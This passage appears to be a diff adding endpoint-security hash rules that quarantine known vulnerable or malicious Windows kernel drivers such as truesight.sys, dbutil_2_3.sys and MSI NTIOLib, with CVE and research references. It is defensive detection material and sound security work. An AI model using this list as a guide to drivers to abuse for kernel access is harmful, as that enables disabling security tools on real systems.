+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149354Z",
+  "creation_date": "2026-03-23T11:45:31.149356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42eda58539cf9fe8cdf7ecca8b15e09f43ba54d30bb105d0dc45814bfc6495a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ba38b3b-9fc0-589b-b36e-523c78d73de9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474814Z",
+  "creation_date": "2026-03-23T11:45:31.474818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c80868601bc7d351f0739bfa5080bec3a3796e6414e7ceb14238e1f6a5adad52",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ba58b9d-a747-561c-b4c1-9338d25425ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984052Z",
+  "creation_date": "2026-03-23T11:45:29.984055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a82d08ef67bdfccf0a2cf6d507c9fbb6ac42bd74bf2ade46ec07fe253deb6573",
+  "comment": "Vulnerable Kernel Driver (aka SysInfo.sys) [https://www.loldrivers.io/drivers/84ccb68d-ce34-4aa2-98d5-7f473c2e1b07/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ba98854-e81b-5732-9a0a-58bacc59d156",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487125Z",
+  "creation_date": "2026-03-23T11:45:31.487127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20cf6c47a4f35f5b1d23f726323ea9de093dc6c76b8f83950fdf71802e51a5e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7bc4d7bf-3147-5613-9468-b34104232fb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145990Z",
+  "creation_date": "2026-03-23T11:45:32.145992Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a6366066bc6003f347eadc6fe6c8994fded09fb7d5d24d0ddac3936ae1437a7",
+  "comment": "Malicious Kernel Driver (aka driver_0a636606.sys) [https://www.loldrivers.io/drivers/82087b26-b649-4ad1-a353-3a225c757ff7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7bcb2eaa-9dd8-5570-845d-2d5dd351906d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492408Z",
+  "creation_date": "2026-03-23T11:45:31.492410Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "316bbde0484b82f35e1169104a7f155bc363aca7a511e9e117a14a4b6960fc61",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7bf437bf-ea92-525d-88ed-cb6f07d0b596",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481679Z",
+  "creation_date": "2026-03-23T11:45:31.481683Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "792b70d8d3c67791e524a699461526a17f79bddc4a6b2f3753373fcc44b20cca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7bff1a91-091f-582c-b6e6-6aa1f1c2865c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615520Z",
+  "creation_date": "2026-03-23T11:45:29.615522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615527Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98f5cb928827e8dadc79c1be4f27f67755dbeb802c3485af9cace78b9eb65c59",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7bffff0f-b5ae-5058-abb5-ff66b6f478c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499957Z",
+  "creation_date": "2026-03-23T11:45:31.499960Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecdde68b3e543dee38dcccf9be2e180ffdb0feab69cc3ccb4e0b97f81cd14f51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c00cebd-5b5d-5844-b36e-8e9f50ed21d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605340Z",
+  "creation_date": "2026-03-23T11:45:29.605342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "041604b952fd390eb6f23008ed2cb30dff4155d8854561719467b07ccf48702b",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c05d8d5-c3dd-54f4-bb12-0a3336ad0301",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607147Z",
+  "creation_date": "2026-03-23T11:45:29.607149Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607154Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c088a97-8e38-52c0-a0d6-de5ac4bd0efe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830446Z",
+  "creation_date": "2026-03-23T11:45:31.830448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01e8b9d3ab61de6d120ea4f99e362533a297c929519f7c4c3df06e707f52958d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c09e0af-0d08-5e83-99d4-f4b9dea813a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973112Z",
+  "creation_date": "2026-03-23T11:45:29.973114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f276197c07995a51ab703f1c96bb9fc45db244c0c5ef8a2d160c6db6f3e38947",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c0a3c6d-4f3b-5b50-84a5-33cbb7946bc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147500Z",
+  "creation_date": "2026-03-23T11:45:31.147502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f444505502eaf2f1c0ef864b5e24f86d38a3c443244463eb003718eab66f35d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c11dc99-ca07-50ed-8a7e-3ea7ae89a69d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826066Z",
+  "creation_date": "2026-03-23T11:45:31.826068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd2a2a3ce64c455ade0980cc9c5100593f27b6ecdda33bba51884412f011bdb8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c124c64-059e-5c55-b584-e4bbe08dc6b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615867Z",
+  "creation_date": "2026-03-23T11:45:29.615880Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615885Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2018ad5f3695295599f756caf556722291485cd67eb9c3f7ec701b206cca4e00",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c1695f6-5324-5704-ba5e-1e5964685563",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830205Z",
+  "creation_date": "2026-03-23T11:45:30.830207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39665ac910c4ed6526bc92452d231f752289db6dc324de6c4ba6e8693bf15f00",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c19ecb4-9bff-53b8-b119-28d42709d3c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968221Z",
+  "creation_date": "2026-03-23T11:45:29.968223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c1de419-13c2-52db-bf7f-034f1e538aea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832986Z",
+  "creation_date": "2026-03-23T11:45:30.832989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45298a81ff6b22e7f578f939559bac22a9ed907e0e64550a623903de6ecec98e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c1fb99f-5a5c-5654-9f6a-4619a0313abc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836029Z",
+  "creation_date": "2026-03-23T11:45:30.836031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "674a250422906f220f76af3631cf093ea1db13b47401f0f0cd66c484186829c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c27d188-6bb8-5537-b22c-f75383a2d319",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461211Z",
+  "creation_date": "2026-03-23T11:45:30.461214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461223Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af10796af9886b896de11d9067ed2b1569e48e0a5a8cacbc06bc50a533d8bec8",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/6c0c60f0-895d-428a-a8ae-e10390bceb12/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c29ae6f-588d-5484-b6d7-73e40ba1f4d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616496Z",
+  "creation_date": "2026-03-23T11:45:29.616499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fda506e2aa85dc41a4cbc23d3ecc71ab34e06f1def736e58862dc449acbc2330",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7c37fe24-c1ed-530c-aa17-90d2a263e0b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159943Z",
